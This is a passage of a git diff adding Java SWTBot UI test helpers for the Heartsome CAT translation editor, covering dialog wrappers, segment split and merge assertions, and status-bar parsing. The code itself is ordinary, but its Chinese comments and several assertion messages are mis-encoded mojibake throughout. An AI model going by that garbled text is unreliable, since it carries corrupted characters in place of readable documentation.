ts.getStatusBarValueByKey(ts.stbiCurrentFile()); + } + + /** + * @return int 状æ€æ ä¸­çš„当å‰æ–‡æœ¬æ®µåºå· + */ + public int stbSegmentNumber() { + return Integer.valueOf(ts.getStatusBarValueByKey(ts.stbiSegmentNumber())); + } + + /** + * @return int 状æ€æ ä¸­çš„å¯è§æ–‡æœ¬æ®µæ•°é‡ + */ + public int stbVisibleSegmentCount() { + return Integer.valueOf(ts.getStatusBarValueByKey(ts.stbiVisibleSegmentCount())); + } + + /** + * @return int 状æ€æ ä¸­çš„文本段总数 + */ + public int stbSegmentTotalCount() { + return Integer.valueOf(ts.getStatusBarValueByKey(ts.stbiSegmentTotalCount())); + } + + /** + * @return String 状æ€æ ä¸­çš„当å‰ç”¨æˆ·å + */ + public String stbUsername() { + return ts.getStatusBarValueByKey(ts.stbiUsername()); + } + + /************** ç•Œé¢æ–‡æœ¬ ************ */ + + /** + * @return è¡Œå·; + */ + public String lblNatTableHeaderLineNum() { + return TsUIConstants.getString("lblNatTableHeaderLineNum"); + } + + /** + * @return 状æ€; + */ + public String lblNatTableHeaderStatus() { + return TsUIConstants.getString("lblNatTableHeaderStatus"); + } + + /** + * @return 设置文本段批准状æ€; + */ + public String ctxMenuApproveStatus() { + return TsUIConstants.getString("ctxMenuApproveStatus"); + } + + /** + * @return 批准当å‰æ–‡æœ¬æ®µ; + */ + public String ctxMenuapproveStatusApproveCurrentSeg() { + return TsUIConstants.getString("approveStatusApproveCurrentSeg"); + } + + /** + * @return å–消批准当å‰æ–‡æœ¬æ®µ; + */ + public String ctxMenuapproveStatusUnapproveCurrentSeg() { + return TsUIConstants.getString("approveStatusUnapproveCurrentSeg"); + } + + /** + * @return 设置文本段é”定状æ€; + */ + public String ctxMenuLockStatus() { + return TsUIConstants.getString("ctxMenuLockStatus"); + } + + /** + * @return é”定当å‰æ–‡æœ¬æ®µ; + */ + public String ctxMenulockStatusLockCurrentSeg() { + return TsUIConstants.getString("lockStatusLockCurrentSeg"); + } + + /** + * @return å–消é”定当å‰æ–‡æœ¬æ®µ; + */ + public String ctxMenulockStatusUnlockCurrentSeg() { + return TsUIConstants.getString("lockStatusUnlockCurrentSeg"); + } + + /** + * @return é”定é‡å¤æ–‡æœ¬æ®µ; + */ + public String ctxMenulockStatusLockRepetitionSegs() { + return TsUIConstants.getString("lockStatusLockRepetitionSegs"); + } + + /** + * @return å–消é”定é‡å¤æ–‡æœ¬æ®µ; + */ + public String ctxMenulockStatusUnlockRepetitionSegs() { + return TsUIConstants.getString("lockStatusUnlockRepetitionSegs"); + } + + /** + * @return 设置目标文本段状æ€; + */ + public String ctxMenuTargetState() { + return TsUIConstants.getString("ctxMenuTargetState"); + } + +// public String ctxMenuTargetStatenew() { +// return TsUIConstants.getString("TargetStateNew"); +// } +// +// public String ctxMenuTargetStatefinal() { +// return TsUIConstants.getString("TargetStatefinal"); +// } +// +// public String ctxMenuTargetStatetranslated() { +// return TsUIConstants.getString("TargetStatetranslated"); +// } +// +// public String ctxMenuTargetStatesigned_off() { +// return TsUIConstants.getString("TargetStatesigned-off"); +// } +// +// public String ctxMenuTargetStateneeds_adaptation() { +// return TsUIConstants.getString("TargetStateneeds-adaptation"); +// } +// +// public String ctxMenuTargetStateneeds_reivew_adaptation() { +// return TsUIConstants.getString("TargetStateneeds-reivew-adaptation"); +// } +// +// public String ctxMenuTargetStateneeds_l10n() { +// return TsUIConstants.getString("TargetStateneeds-l10n"); +// } +// +// public String ctxMenuTargetStateneeds_review_l10n() { +// return TsUIConstants.getString("TargetStateneeds-review-l10n"); +// } +// +// public String ctxMenuTargetStateneeds_translation() { +// return TsUIConstants.getString("TargetStateneeds-translation"); +// } +// +// public String ctxMenuTargetStateneeds_review_translation() { +// return TsUIConstants.getString("TargetStateneeds-review-translation"); +// } + + /************** 一些常用的任务 ************ */ + + /** + * @param expectedText 字符串数组:分割åŽçš„文本段内容 + * @return XliffUtil 数组:分割åŽçš„æ–° XliffUtil 对象; + */ + public XliffUtil[] getSplitXliffUtil(String[] expectedText) { + XliffUtil[] xu = new XliffUtil[2]; + int segNum1 = segNumOfSource(expectedText[0]); + String rowID1 = rowIdOfSegNum(segNum1); + xu[0] = new XliffUtil(rowID1); + + int segNum2 = segNumOfSource(expectedText[1]); + String rowID2 = rowIdOfSegNum(segNum2); + xu[1] = new XliffUtil(rowID2); + + return xu; + } + +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ConfirmDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ConfirmDialog.java new file mode 100644 index 0000000..566bcb7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ConfirmDialog.java @@ -0,0 +1,76 @@ +package net.heartsome.cat.ts.test.ui.msgdialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * 确认对è¯æ¡†ï¼šåªæœ‰ OK å’Œ Cancel 按钮 + * @author felix_lu + */ +public class ConfirmDialog extends SWTBotShell { + + /** 对è¯æ¡†æ ‡é¢˜æ–‡æœ¬ï¼šæç¤ºä¿¡æ¯ */ + public static String dlgTitleTips = TsUIConstants.getString("dlgTitleTips"); + /** 确认信æ¯ï¼šæ˜¯å¦ç¡®å®žè¦ä»ŽæœåŠ¡å™¨ä¸Šåˆ é™¤æ•°æ®åº“。 */ + public static String msgDeleteDatabaseFromServer = TsUIConstants.getString("msgDeleteDatabaseFromServer"); + + private SWTBot dialogBot = this.bot(); + private String msg; + + /** + * @param shellIndex + * 对è¯æ¡†æ‰€åœ¨ Shell ç´¢å¼•å· + * @param msg + * ä¿¡æ¯å†…容 + */ + public ConfirmDialog(int shellIndex, String msg) { + super(HSBot.bot().shells()[shellIndex].widget); + this.msg = msg; + } + + /** + * ä¸æŒ‡å®šæ ‡é¢˜å’Œç´¢å¼•æ—¶ï¼Œé»˜è®¤ä¸ºé€šç”¨æ ‡é¢˜ Confirm + * @param msg + * ä¿¡æ¯å†…容 + */ + public ConfirmDialog(String msg) { + this(TsUIConstants.getString("dlgTitleConfirm"), msg); + } + + /** + * @param dialogTitle + * 对è¯æ¡†æ ‡é¢˜ + * @param msg + * ä¿¡æ¯å†…容 + */ + public ConfirmDialog(String dialogTitle, String msg) { + super(HSBot.bot().shell(dialogTitle).widget); + this.msg = msg; + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 文字标签:信æ¯å†…容; + */ + public SWTBotLabel lblMessage() { + return dialogBot.label(msg); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ConfirmProjectDeleteDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ConfirmProjectDeleteDialog.java new file mode 100644 index 0000000..2b88161 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ConfirmProjectDeleteDialog.java @@ -0,0 +1,104 @@ +package net.heartsome.cat.ts.test.ui.msgdialogs; + +import static org.junit.Assert.assertTrue; + +import java.text.MessageFormat; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotRadio; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * 确认对è¯æ¡†ï¼šåˆ é™¤é¡¹ç›® + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class ConfirmProjectDeleteDialog extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + private String prjName; + +// /** +// * 按标题查找对è¯æ¡† +// */ +// public ConfirmProjectDeleteDialog() { +// // super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleConfirmProjectDelete")).widget); +// } + + /** + * @param prjName + * 项目å称 + */ + public ConfirmProjectDeleteDialog(String prjName) { + super(HSBot.bot().shells()[1].widget); // 由于在 MAC OS 中该对è¯æ¡†æ²¡æœ‰ç‹¬ç«‹çš„标题æ ï¼Œæ‰€ä»¥æ— æ³•é€šè¿‡å¯¹è¯æ¡†æ ‡é¢˜æ¥ç¡®å®šã€‚ + this.prjName = prjName; + assertTrue(msgConfirmDeleteProject().isVisible()); + } + + /** + * @return 按钮:å¦; + */ + public SWTBotButton btnNo() { + return dialogBot.button(TsUIConstants.getString("btnNo")); + } + + /** + * @return 按钮:是; + */ + public SWTBotButton btnYes() { + return dialogBot.button(TsUIConstants.getString("btnYes")); + } + + // /** + // * @return 按钮:预览 未展开; + // */ + // public SWTBotButton btnPreviewCollapsed() { + // return dialogBot.button(TsUIConstants.getString("btnPreviewCollapsed")); + // } + // + // /** + // * @return 按钮:预览 展开; + // */ + // public SWTBotButton btnPreviewExpanded() { + // return dialogBot.button(TsUIConstants.getString("btnPreviewExpanded")); + // } + // + // /** + // * @return å¤é€‰æ¡†ï¼šåˆ é™¤ç£ç›˜å†…容; + // */ + // public SWTBotCheckBox chkbxDeleteProjectContentsOnDisk() { + // return dialogBot.checkBox(TsUIConstants.getString("chkbxDeleteProjectContentsOnDisk")); + // } + + /** + * @return 文字标签:确认是å¦åˆ é™¤é¡¹ç›®; + */ + public SWTBotLabel msgConfirmDeleteProject() { + assertTrue("å‚数错误,项目å称为 null。", prjName != null); + return dialogBot.label(MessageFormat.format(TsUIConstants.getString("msgConfirmDeleteProject"), prjName)); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šåŒæ—¶åˆ é™¤ç›®å½•ä¸‹çš„内容; + */ + public SWTBotRadio radBtnAlsoDeleteContentsUnder() { + assertTrue("å‚数错误,项目å称为 null。", prjName != null); + String path = FileUtil.joinPath(FileUtil.getWorkspacePath(), prjName); + String msg = TsUIConstants.getString("radBtnAlsoDeleteContentsUnder"); + return dialogBot.radio(MessageFormat.format(msg, path)); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šä¸åˆ é™¤å†…容; + */ + public SWTBotRadio radBtnDoNotDeleteContents() { + return dialogBot.radio(TsUIConstants.getString("radBtnDoNotDeleteContents")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/InfoFileNotFound.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/InfoFileNotFound.java new file mode 100644 index 0000000..23818b2 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/InfoFileNotFound.java @@ -0,0 +1,54 @@ +package net.heartsome.cat.ts.test.ui.msgdialogs; + +import java.text.MessageFormat; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * ä¿¡æ¯å¯¹è¯æ¡†ï¼šæ–‡ä»¶æœªæ‰¾åˆ° + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class InfoFileNotFound extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + private String file; + + /** + * 按标题查找对è¯æ¡† + * @param file 文件å + */ + public InfoFileNotFound(String file) { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleFileNotFound")).widget); + this.file = file; + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 文字标签:文件åéžæ³•; + */ + public SWTBotLabel msgFileNameInvalid() { + return dialogBot.label(file + TsUIConstants.getString("msgFileNameInvalid")); + } + + /** + * @return 文字标签:文件未找到; + */ + public SWTBotLabel msgFileNotFound() { + String msg = TsUIConstants.getString("msgFileNotFound"); + return dialogBot.label(MessageFormat.format(msg, file)); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/InformationDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/InformationDialog.java new file mode 100644 index 0000000..cbe37b0 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/InformationDialog.java @@ -0,0 +1,93 @@ +package net.heartsome.cat.ts.test.ui.msgdialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * ä¿¡æ¯å¯¹è¯æ¡†ï¼šåªæœ‰ä¸€ä¸ª OK 按钮 + * @author felix_lu + */ +public class InformationDialog extends SWTBotShell { + + /** 对è¯æ¡†æ ‡é¢˜æ–‡æœ¬ï¼šæç¤ºä¿¡æ¯ */ + public static String dlgTitleTips = TsUIConstants.getString("dlgTitleTips"); + /** 对è¯æ¡†æ ‡é¢˜æ–‡æœ¬ï¼šé”™è¯¯æ示 */ + public static String dlgTitleErrorInfo = TsUIConstants.getString("dlgTitleErrorInfo"); + public static String dleTitleError = TsUIConstants.getString("dlgTitleError"); + + /** æ示信æ¯ï¼šæœåŠ¡å™¨ä¸ºå¿…填项。 */ + public static String msgServerIsRequired = TsUIConstants.getString("msgServerIsRequired"); + /** æ示信æ¯ï¼šç«¯å£ä¸ºå¿…填项。 */ + public static String msgPortIsRequired = TsUIConstants.getString("msgPortIsRequired"); + /** æ示信æ¯ï¼šå®žä¾‹ä¸ºå¿…填项。 */ + public static String msgInstanceIsRequired = TsUIConstants.getString("msgInstanceIsRequired"); + /** æ示信æ¯ï¼šè·¯å¾„为必填项。 */ + public static String msgPathIsRequired = TsUIConstants.getString("msgPathIsRequired"); + /** æ示信æ¯ï¼šç”¨æˆ·å为必填项。 */ + public static String msgUsernameIsRequired = TsUIConstants.getString("msgUsernameIsRequired"); + /** æ示信æ¯ï¼šè¿žæŽ¥é”™è¯¯ã€‚ */ + public static String msgServerConnectionError = TsUIConstants.getString("msgServerConnectionError"); + /** æ示信æ¯ï¼šåº“与项目语言对无匹é…。 */ + public static String msgNoMatchInDB = TsUIConstants.getString("msgNoMatchInDB"); + + private SWTBot dialogBot = this.bot(); + private String msg; + + /** + * @param shellIndex + * 对è¯æ¡† Shell 索引,适用无标题的对è¯æ¡† + * @param msg + * ä¿¡æ¯å†…容在资æºæ–‡ä»¶ä¸­çš„ Key + */ + public InformationDialog(int shellIndex, String msg) { + super(HSBot.bot().shells()[shellIndex].widget); + this.msg = msg; + } + + /** + * ä¸æ供标题时,默认为通用标题 Information + * @param msg + * ä¿¡æ¯å†…容在资æºæ–‡ä»¶ä¸­çš„ Key + */ + public InformationDialog(String msg) { + this(TsUIConstants.getString("dlgTitleInformation"), msg); + } + + /** + * @param dialogTitle + * 对è¯æ¡†æ ‡é¢˜ + * @param msg + * ä¿¡æ¯å†…容 + */ + public InformationDialog(String dialogTitle, String msg) { + super(HSBot.bot().shell(dialogTitle).widget); + this.msg = msg; + } + + /** + * @param msg + * ä¿¡æ¯å†…容; + */ + public void setMsg(String msg) { + this.msg = msg; + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 文字标签:信æ¯å†…容; + */ + public SWTBotLabel lblMessage() { + return dialogBot.label(msg); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ProgressDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ProgressDialog.java new file mode 100644 index 0000000..00d50b2 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/msgdialogs/ProgressDialog.java @@ -0,0 +1,77 @@ +package net.heartsome.cat.ts.test.ui.msgdialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCheckBox; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * 进度对è¯æ¡† + * @author felix_lu + */ +public class ProgressDialog extends SWTBotShell { + + /** 对è¯æ¡†æ ‡é¢˜ï¼šè¿›åº¦ä¿¡æ¯ */ + public static final String TITLE_PROGRESS_INFO = "dlgTitleProgressInformation"; + /** 对è¯æ¡†æ ‡é¢˜ï¼šé¢„翻译进度 */ + public static final String TITLE_PRE_TRANSLATING = "dlgTitlePreTranslating"; + /** ä¿¡æ¯å†…容:正在预翻译 */ + public static final String MSG_PRE_TRANSLATING = "msgPreTranslating"; + + private SWTBot dlgBot = this.bot(); + + /** + * @param dialogTitleKey + * 进度对è¯æ¡†æ ‡é¢˜åœ¨èµ„æºæ–‡ä»¶ä¸­çš„ Keyï¼Œè¯·ä½¿ç”¨æœ¬ç±»å¸¸é‡ + */ + public ProgressDialog(String dialogTitleKey) { + super(HSBot.bot().shell(TsUIConstants.getString(dialogTitleKey)).widget); + } + + /** + * @param msgKey ä¿¡æ¯å†…容在资æºæ–‡ä»¶ä¸­çš„ Keyï¼Œè¯·ä½¿ç”¨æœ¬ç±»å¸¸é‡ + * @return 文字标签:进度信æ¯å†…容; + */ + public SWTBotLabel lblMsg(String msgKey) { + return dlgBot.label(TsUIConstants.getString(msgKey)); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dlgBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return 按钮:详情 未展开; + */ + public SWTBotButton btnDetailsCollapsed() { + return dlgBot.button(TsUIConstants.getString("btnDetailsCollapsed")); + } + + /** + * @return 按钮:详情 展开; + */ + public SWTBotButton btnDetailsExpanded() { + return dlgBot.button(TsUIConstants.getString("btnDetailsExpanded")); + } + + /** + * @return 按钮:在åŽå°è¿è¡Œ; + */ + public SWTBotButton btnRunInBackground() { + return dlgBot.button(TsUIConstants.getString("btnRunInBackground")); + } + + /** + * @return å¤é€‰æ¡†ï¼šæ€»æ˜¯åœ¨åŽå°è¿è¡Œ; + */ + public SWTBotCheckBox chkbxAlwaysRunInBackground() { + return dlgBot.checkBox(TsUIConstants.getString("chkbxAlwaysRunInBackground")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/SegmentAsserts.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/SegmentAsserts.java new file mode 100644 index 0000000..a5a4288 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/SegmentAsserts.java @@ -0,0 +1,202 @@ +package net.heartsome.cat.ts.test.ui.tasks; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.utils.XliffUtil; +import net.heartsome.test.swtbot.widgets.HsSWTBotStyledText; + +/** + * TS 的一些断言方法,其中有些是直接断言,有些则是返回布尔值 + * @author felix_lu + */ +public final class SegmentAsserts { + + /** + * + */ + private SegmentAsserts() { + } + + /** + * 断言文本段å¯ç¼–辑 + * @param xu + * 文本段对应的 XliffUtil 对象 + */ + public static void segIsEditable(XliffUtil xu) { + assertTrue("The segment is not editable.", xu.tuIsEditable()); + } + + /** + * 判断指定的文本段å¯ä»¥åœ¨ç»™å‡ºçš„ index 处分割(å³ä¸åœ¨æ–‡æœ¬æ®µé¦–ã€æœ«ä½ç½®ï¼‰ + * @param st + * 文本段内容对应的 StyledText 对象 + * @param index + * 分割点索引 + * @return boolean True 表示å¯ä»¥åœ¨è¯¥å¤„分割 + */ + public static boolean indexIsSplitable(HsSWTBotStyledText st, int index) { + int length = st.getText().length(); // TODO 增加分割点在内部标记上的判断 + return index > 0 && index < length; + } + + /** + * 判断给出的两个文本段是å¦å¯ä»¥åˆå¹¶ + * @param xe + * 文本段所在的 XlfEditor 对象 + * @param xu1 + * 第一个文本段对应的 XliffUtil 对象 + * @param xu2 + * 第二个文本段对应的 XliffUtil 对象 + * @return boolean + */ + public static boolean segsAreMergeable(XlfEditor xe, XliffUtil xu1, XliffUtil xu2) { + + if (!xe.isSorted()) { // 编辑器未按æºæˆ–目标文本进行排åºï¼Œå› ä¸ºæŽ’åºåŽæ˜¾ç¤ºçš„顺åºä¸Žæ–‡ä»¶ä¸­çš„物ç†é¡ºåºæžæœ‰å¯èƒ½ä¸åŒ + if (xu1.tuIsEditable() && xu2.tuIsEditable()) { // 两个文本段å‡æœªæ‰¹å‡†ã€æœªé”定 + if (xu1.getXlfFile().equals(xu2.getXlfFile())) { // 两个文本段æ¥è‡ªåŒä¸€ä¸ª XLIFF 文件 + if (xu1.getOriginalFile().equals(xu2.getOriginalFile())) { // 两个文本段在 XLIFF 文件中属于åŒä¸€ä¸ª 节点 + if (xu1.getRowID().equals(xu2.getPrevNotNullXU().getRowID()) + && xu2.getRowID().equals(xu1.getNextNotNullXU().getRowID())) { // 是å¦ä¸ºä¸¤ä¸ªè¿žç»­çš„éžç©ºæ–‡æœ¬æ®µ + return true; + } + } + } + } + } + + return false; + } + + /** + * 断言文本段已被æˆåŠŸåˆ†å‰² + * @param tuid + * 分割å‰çš„文本段 trans-unit id + * @param expectedText + * 由分割å‰çš„文本段æºæ–‡æœ¬å†…容在指定ä½ç½®åˆ†å‰²åŽå¾—到的两个字符串所组æˆçš„数组 + * @param xu + * 分割åŽçš„两个文本段对应的 XLIFFUtil 对象所组æˆçš„数组 + */ + public static void segIsSplit(String tuid, String[] expectedText, XliffUtil[] xu) { + + // 分割åŽçš„两个新文本段在åŒä¸€ä¸ªä»¥åˆ†å‰²å‰æ–‡æœ¬æ®µçš„ tuid 为 id çš„ group 中 + String groupId = xu[0].getAttributeOfGroup("id"); + assertTrue(groupId.equals(xu[1].getAttributeOfGroup("id"))); + assertTrue(tuid.equals(groupId)); + assertTrue("hs-split".equals(xu[0].getAttributeOfGroup("ts"))); + + // 两个新文本段的 tuid + assertTrue((tuid + "-1").equals(xu[0].getAttributeOfTU("id"))); + assertTrue((tuid + "-2").equals(xu[1].getAttributeOfTU("id"))); + + // æºæ–‡æœ¬å†…容:å¯èƒ½æ˜¯æ ‡è®°æºä»£ç çŠ¶æ€ï¼Œä¹Ÿå¯èƒ½æ˜¯ç®€å•æ ‡è®°çŠ¶æ€ + assertTrue(expectedText[0].equals(xu[0].getSourceText()) || expectedText[0].equals(xu[0].getSourceTextTagged())); + assertTrue(expectedText[1].equals(xu[1].getSourceText()) || expectedText[1].equals(xu[1].getSourceTextTagged())); + + // 目标文本段状æ€ï¼šç›®æ ‡æ–‡æœ¬ä¸ºç©ºæ—¶ newã€éžç©ºæ—¶ translated + targetStatus(xu[0]); + targetStatus(xu[1]); + } + + /** + * 断言文本段没有被分割 + * @param tuid + * å°è¯•åˆ†å‰²å‰çš„文本段 trans-unit id + * @param expectedText + * å°è¯•åˆ†å‰²å‰çš„文本段æºæ–‡æœ¬å†…容 + * @param xu + * 分割åŽçš„文本段对应的 XLIFFUtil 对象 + */ + public static void segNotSplit(String tuid, String expectedText, XliffUtil xu) { + assertTrue("Parameters should not be null.", tuid != null && expectedText != null && xu != null); + + String newTUID = xu.getAttributeOfTU("id"); + assertTrue("TUID: " + tuid + " is not the same as the new one.", tuid.equals(newTUID)); + + String text = xu.getSourceText(); + assertTrue("Source text: " + expectedText + " is not the same as the new one.", expectedText.equals(text) + || expectedText.equals(xu.getSourceTextTagged())); + } + + /** + * 断言指定的两个文本段已ç»æˆåŠŸåˆå¹¶ + * @param xu + * 两个è¦åˆå¹¶çš„文本段对应的 XliffUtil 对象 + * @param tuid + * 两个文本段在åˆå¹¶ä¹‹å‰çš„ trans-unit id 值 + * @param expectedText + * 两个文本段åˆå¹¶åŽçš„æºæ–‡æœ¬é¢„期内容 + */ + public static void segsAreMerged(XliffUtil[] xu, String[] tuid, String expectedText) { + + // åˆå¹¶å‰çš„两个 trans-unit ä»ç„¶å­˜åœ¨ä¸” id ä¸å˜ + // 此处ä¸ç›´æŽ¥ç”¨ getTUID() 方法的原因是该方法ä¸æ˜¯å®žæ—¶åœ°ä»Ž XLIFF 文件中读数æ®ï¼Œ + // 而是直接返回通过 rowID 解æžå¾—到的æˆå‘˜å˜é‡å€¼ã€‚ + assertTrue(tuid[0].equals(xu[0].getAttributeOfTU("id"))); + // FIXME assertTrue(tuid[1].equals(xu[1].getAttributeOfTU("id"))); + + // æºæ–‡æœ¬å†…容 + assertTrue(expectedText.equals(xu[0].getSourceText())); + assertTrue(xu[1].getSourceText() == null || "".equals(xu[1].getSourceText())); + + // trans-unit 节点的批准和é”定属性 + assertTrue(xu[0].tuIsEditable()); + // FIXME assertTrue(xu[1].tuIsApproved() && !xu[1].tuIsTranslatable()); + + // ç›®æ ‡æ–‡æœ¬æ®µçŠ¶æ€ + // FIXME targetStatus(xu[0]); + // FIXME targetStatus(xu[1]); + } + + /** + * 断言指定的两个文本段没有被åˆå¹¶ + * @param xu + * 两个è¦åˆå¹¶çš„文本段对应的 XliffUtil 对象 + * @param tuid + * 两个文本段在åˆå¹¶ä¹‹å‰çš„ trans-unit id 值 + * @param sourceText + * 两个文本段在åˆå¹¶ä¹‹å‰çš„æºæ–‡æœ¬å†…容 + */ + public static void segsNotMerged(XliffUtil[] xu, String[] tuid, String[] sourceText) { + + // å°è¯•åˆå¹¶å‰çš„两个 trans-unit ä¸å˜ + // 此处ä¸ç›´æŽ¥ç”¨ getTUID() 方法的原因是该方法ä¸æ˜¯å®žæ—¶åœ°ä»Ž XLIFF 文件中读数æ®ï¼Œ + // 而是直接返回通过 rowID 解æžå¾—到的æˆå‘˜å˜é‡å€¼ã€‚ + assertTrue(tuid[0].equals(xu[0].getAttributeOfTU("id"))); + // assertTrue(tuid[1].equals(xu[1].getAttributeOfTU("id"))); + + // æºæ–‡æœ¬å†…容 + assertTrue(sourceText[0].equals(xu[0].getSourceText())); + assertTrue(sourceText[1].equals(xu[1].getSourceText())); + } + + /** + * 断言指定的文本段没有被改动 + * @param xu + * XliffUtil 对象 + * @param tuid + * å°è¯•æ”¹åŠ¨ä¹‹å‰çš„文本段 trans-unit id + * @param sourceText + * å°è¯•æ”¹åŠ¨ä¹‹å‰çš„æºæ–‡æœ¬å†…容 + */ + public static void segNoChange(XliffUtil xu, String tuid, String sourceText) { + assertTrue(tuid.equals(xu.getAttributeOfTU("id"))); + assertTrue(sourceText.equals(xu.getSourceText())); + } + + /** + * 断言目标文本状æ€ï¼šå½“存在 target 节点且目标文本éžç©ºæ—¶ä¸º translated〠目标文本为空时 new,没有 state 属性时为 null + * @param xu + * è¦éªŒè¯çš„文本段对应的 XliffUtil 对象 + */ + public static void targetStatus(XliffUtil xu) { + String targetText = xu.getTargetText(); + if (targetText != null) { + String targetStatus = xu.getTargetStatus(); + if ("".equals(targetText)) { + assertTrue(targetStatus == null || "new".equals(targetStatus)); + } else { + assertTrue("translated".equals(targetStatus)); + } + } + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/TsTasks.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/TsTasks.java new file mode 100644 index 0000000..ccaf863 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/TsTasks.java @@ -0,0 +1,81 @@ +package net.heartsome.cat.ts.test.ui.tasks; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.exceptions.WidgetNotFoundException; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * 一些基本任务 + * @author felix_lu + */ +public final class TsTasks { + + /** + * + */ + private TsTasks() { + } + + /** + * 解æžçŠ¶æ€æ ä¸­çš„æ•°æ® + * @param originalText + * 状æ€æ åŽŸå§‹æ–‡æœ¬ + * @param groupSign + * 分组标记 + * @param delimiter + * 分隔符 + * @param key + * 状æ€æ é¡¹çš„å称 + * @return String 指定状æ€æ é¡¹çš„值 + */ + public static String getStatusValueByKey(String originalText, String groupSign, String delimiter, String key) { + originalText = originalText.replace("\n", ""); + String[] statusGroup = originalText.split(groupSign); + String[] statusItem = null; + for (int i = 0; i < statusGroup.length; i++) { + String statusText = statusGroup[i]; + if (statusText != null && statusText.contains(key)) { + statusItem = statusGroup[i].split(delimiter); + return statusItem[1]; + } + } + return null; + } + + /** + * 